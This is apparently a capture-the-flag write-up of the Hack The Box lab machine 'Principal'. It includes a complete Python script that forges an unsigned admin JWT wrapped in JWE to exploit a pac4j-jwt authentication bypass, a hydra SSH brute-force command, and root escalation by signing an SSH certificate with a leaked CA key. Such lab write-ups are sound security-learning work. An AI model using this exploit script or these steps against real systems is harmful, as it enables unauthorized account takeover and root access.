> For the complete documentation index, see [llms.txt](https://kur0sh1r0.gitbook.io/ctf-writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://kur0sh1r0.gitbook.io/ctf-writeups/hackthebox-lab/hackthebox-principal-writeup.md).

# HackTheBox Principal— Writeup

Welcome back to my write-up. In this post, I’ll walk you through a clear, step-by-step breakdown of how I solved one of the recently retired machine on Hack The Box, Principal. I’ll go through my thought process from initial enumeration to the final exploitation, highlighting the key findings, techniques, and decisions along the way. Whether you’re following along to learn or just curious about the approach, this guide should help you understand how each stage of the challenge was tackled and how everything eventually came together to achieve the root flag.

Let's start

<figure><img src="/files/nCkgtG4jEU18GAonTbYj" alt=""><figcaption></figcaption></figure>

**Reconnaissance**

Now, let’s begin by scanning the open ports using `Nmap` to identify possible entry points into the target system.

`nmap -A -T5 10.129.244.220`

<figure><img src="/files/0Fbsi3cvu7hG1jrk5Iqr" alt=""><figcaption></figcaption></figure>

The OpenSSH version suggests that the machine is probably using **Ubuntu 24.04 Noble LTS**. In addition, a Java-based Jetty web server is running on port `8080`.

Let's visit the website:

<figure><img src="/files/UaTMNhhBTyVdyIb14pZA" alt=""><figcaption></figcaption></figure>

The page we’re looking at is a login interface, and it’s powered by **pac4j**, a Java-based security framework. pac4j is commonly used to manage authentication and authorization in web applications, acting as a flexible security layer that supports multiple identity protocols such as OAuth, SAML, OpenID Connect, and JWT.

It works by centralizing the login process and delegating authentication to external identity providers, making it easier for developers to implement secure access control without building everything from scratch. In practice, this means it can handle everything from single sign-on (SSO) to token-based authentication, while also enforcing authorization rules once a user is authenticated.

While reviewing the interface’s source code, I went to `static/js/app.js`, which appears to handle authentication logic.&#x20;

<figure><img src="/files/rqKggxgZSkpk18iV4wCQ" alt=""><figcaption></figcaption></figure>

When I access `/api/auth/jwks`, it returns the public key used to verify a JWT signed with asymmetric encryption.

`curl http://10.129.244.220:8080/api/auth/jwks`

<figure><img src="/files/tx5NPHeQ7qzmsSwuQRXp" alt=""><figcaption></figcaption></figure>

After that, I proceeded to brute-force the subdirectories, but I didn’t find anything useful.

<figure><img src="/files/8c7Cb7Kb0OQ3plW3rpKI" alt=""><figcaption></figcaption></figure>

#### Exploitation

So I've search for some known CVE for `pac4j` , and I've found this article from [CiSecurity](https://www.cisecurity.org/advisory/a-vulnerability-in-pac4j-jwt-jwtauthenticator-could-allow-for-authentication-bypass_2026-019).

CVE-2026-29000 describes a critical vulnerability in the **pac4j-jwt (JwtAuthenticator)** component that can lead to an authentication bypass. pac4j-jwt is part of the pac4j security framework used for creating, validating, and managing JSON Web Tokens (JWTs) in web applications and services. It supports both signed and encrypted tokens and relies on the Nimbus JOSE+JWT library for handling token processing, authentication flows, profile creation, and signature verification.

The issue affects **pac4j-jwt versions prior to 4.5.9, 5.7.9, and 6.3.3**, where JwtAuthenticator improperly handles encrypted JWTs. This flaw allows remote attackers to forge authentication tokens. In particular, an attacker who has access to the server’s RSA public key can craft a **JWE-wrapped PlainJWT** containing arbitrary claims, such as modified subject identities and elevated roles.

By exploiting this weakness, an attacker can bypass signature verification entirely and authenticate as any user in the system, including administrators, without needing any secret key or valid credentials.

In essence, if an attacker is able to obtain the JWT public key, they could potentially impersonate any user in the system. This flaw was first identified and reported by researchers at [CodeAnt AI](https://www.codeant.ai/security-research/pac4j-jwt-authentication-bypass-public-key), who documented the issue in detail in a blog post.

JWTs are often encrypted using a server’s public key to ensure their contents remain protected during transmission. However, the researchers discovered that when an encrypted token is present but the inner JWT lacks a valid signature, a logical flaw in the implementation may cause the system to skip proper inner token verification. As a result, the application mistakenly treats the token as legitimate, effectively allowing authentication to succeed without proper validation.

```javascript
// Step 1: Decrypt the JWE
for (EncryptionConfiguration config : encryptionConfigurations) {
    try {
        encryptedJWT.decrypt(config);

        // Step 2: Try to extract the inner signed JWT
        signedJWT = encryptedJWT.getPayload().toSignedJWT();

        if (signedJWT != null) {
            jwt = signedJWT;
        }

        found = true;
        break;
    } catch (JOSEException e) { ... }
}

// Step 3: Verify signature - BUT ONLY IF signedJWT IS NOT NULL
if (signedJWT != null) {
    for (SignatureConfiguration config : signatureConfigurations) {
        if (config.supports(signedJWT)) {
            verify = config.verify(signedJWT);
            // ...
        }
    }
}

// Step 4: Create authenticated profile from token claims
createJwtProfile(ctx, credentials, jwt);
```

According to CodeAnt AI, the problem lies in this section of the pac4j code. When a JWT that does not include a signature is passed into `toSignedJWT()`, the function returns `null`. Later, during what is described as Step 3 of the verification process, the code checks the `signedJWT` value, but if it is `null`, that validation step is effectively bypassed and no further verification is performed.

The article points to retrieving JWKS data from `/.well-known/jwks.json`, but in this case I’ve already located it earlier at `/api/auth/jwks`. With that public key available, I can proceed to use Python to generate a token encrypted with it, while leaving the inner JWT without any authentication.

```python
import sys, json, base64, requests
from datetime import datetime, timezone, timedelta
from jwcrypto import jwk, jwe

b64 = lambda x: base64.urlsafe_b64encode(x).decode().rstrip("=")

# build unsigned JWT (alg=none style token)
def jwt0(user, role):
    # role validation gate
    if role not in ["ROLE_ADMIN", "ROLE_MANAGER", "ROLE_USER"]:
        raise Exception("bad role")

    now = datetime.now(timezone.utc)

    # JWT header + payload
    header = {"alg": "none"}
    payload = {
        "sub": user,
        "role": role,
        "iss": "principal-platform",
        "iat": int(now.timestamp()),
        "exp": int((now + timedelta(hours=24)).timestamp()),
    }

    # encode as JWT format: header.payload.
    return f"{b64(json.dumps(header).encode())}.{b64(json.dumps(payload).encode())}."

def run():
    if len(sys.argv) < 2:
        print(f"usage: {sys.argv[0]} <host> [port]")
        sys.exit()

    host = sys.argv[1]
    port = sys.argv[2] if len(sys.argv) > 2 else 8080

    print(f"[*] target => {host}:{port}")

    # fetch public JWKS endpoint
    jwks = requests.get(f"http://{host}:{port}/api/auth/jwks").json()

    if not jwks.get("keys"):
        print("[-] no keys found")
        sys.exit()

    print(f"[+] keys loaded => {len(jwks['keys'])}")

    # extract RSA public key from JWKS
    rsa_key = jwk.JWK(**[k for k in jwks["keys"] if k["kty"] == "RSA"][0])
    print(f"[+] rsa key loaded => kid={rsa_key.get('kid', 'none')}")

    # forge fake identity token
    token = jwt0("kuro", "ROLE_ADMIN")

    # wrap JWT inside JWE encryption layer
    box = jwe.JWE(
        plaintext=token.encode(),
        protected=json.dumps({"alg": "RSA-OAEP-256", "enc": "A256GCM"}),
        recipient=rsa_key,
    )
    
    print(f"[+] encrypted token stream: {box.serialize(compact=True)}")

if __name__ == "__main__":
    run()
```

Now let's generate a forged token:

`python3 jwtz.py 10.129.244.220 8080`

<figure><img src="/files/1lRHU8COwByyBLzVdZXx" alt=""><figcaption></figcaption></figure>

With the forged token ready, the next step is to set it in the browser so we can access the dashboard.

<figure><img src="/files/2acvnqN1P7d2vNkrzzUC" alt=""><figcaption></figcaption></figure>

In the earlier `app.js` file, there is a `TokenManager` class defined, which indicates that the JWT is saved in the browser’s session storage under the key `auth_token`.

<figure><img src="/files/Yn24w3kuoZ89UA5ijnMq" alt=""><figcaption></figcaption></figure>

We just need to refresh the page, and that should grant access to the dashboard.

<figure><img src="/files/ssNMxWucfK8QXnkhgpAl" alt=""><figcaption></figcaption></figure>

We're in! Now let's explore the dashboard.

From the dashboard, I can extract several useful details. In the `Users` section, there is a displayed list of user accounts.

<figure><img src="/files/bzGaDBTniP1dqhB8DpND" alt=""><figcaption></figcaption></figure>

On the `Settings` page, there is a field labeled `encryptionKey` which strongly suggests that it could be used as an SSH password.

I also noticed an interesting reference to a file path. It points to `/opt/principal/ssh` and indicates that SSH certificate-based authentication is enabled. (I forgot to take a screenshot of this hehe)

Our next move is to take the user list we found on the `Users` page and attempt a brute-force attack on those usernames using the password we discovered, which corresponds to the value of `encryptionKey`. For this, process we will use `hydra` .

`hydra -L user.txt -p 'D3pl0y_$$H_Now42!' 10.129.244.220 ssh`

<figure><img src="/files/DC1eiPEFuOaflPmo4Gdy" alt=""><figcaption></figcaption></figure>

Now that we've got the valid credentials, let's login to ssh using `svc-deploy` .

`ssh svc-deploy@10.129.244.220`

<figure><img src="/files/Q5hQcFthlujGPySaQNWK" alt=""><figcaption></figcaption></figure>

We're in!!&#x20;

#### Privilege Escalation

Remember the SSH path we came across earlier (the one without a screenshot)? It’s worth examining more closely. I went ahead and navigated to `/opt/principal/ssh`, and this is what I found.

<figure><img src="/files/OTtGrbG4GKpxXt53zZMT" alt=""><figcaption></figcaption></figure>

Let's read the `README.txt`

<figure><img src="/files/9xmtJg8mneeiwT4ijre4" alt=""><figcaption></figcaption></figure>

The `README.txt` file provides information about the other files in the directory and the remaining two files form a matched pair of cryptographic keys: a private certificate key and its corresponding public certificate key.

I also checked the `sshd` configuration and found something interesting.

<figure><img src="/files/XWUSXkhHk5lblkvhuWZU" alt=""><figcaption></figcaption></figure>

In a typical SSH CA setup, when `TrustedUserCAKeys` is enabled, administrators often also configure either `AuthorizedPrincipalsFile` or `AuthorizedPrincipalsCommand` to control how certificate principals are mapped to specific user accounts. However, if neither of these options is defined, SSH will directly map the certificate principal names to local usernames by default.

In that scenario, if someone can generate a certificate signed with the trusted CA private key and set the principal to `root`, it would be accepted as authentication for the root account. Even though `PermitRootLogin` is set to `prohibit-password`, which disables password-based root logins, it does not block key or certificate-based authentication, meaning SSH certificate login would still be permitted.

To escalate privileges using this trick, I first generate a new key pair on my attacker machine.

`ssh-keygen -t ed25519 -f ssh-root`

<figure><img src="/files/VGx1f5UvIfghKtSOSabS" alt=""><figcaption></figcaption></figure>

Next, I use the CA key we saw earlier along side with the `README.txt` to sign the certificate with `ssh-keygen -s`. I set an identifier using `-I kur0`, which is just a label for the certificate, and specify `-n root` as the principal. Since there is no `AuthorizedPrincipalsFile` configured, this principal directly maps to the `root` user account.

<figure><img src="/files/KIdyyS7JfdYbPhY8h6SS" alt=""><figcaption></figcaption></figure>

Now I can use the signed private key to authenticate and log in as the root user.

`ssh -i ssh-root root@10.129.244.220`

<figure><img src="/files/yhVArjbAytwVP4uzikGk" alt=""><figcaption></figcaption></figure>

We're done! We've successfully pwned **Principal**!!
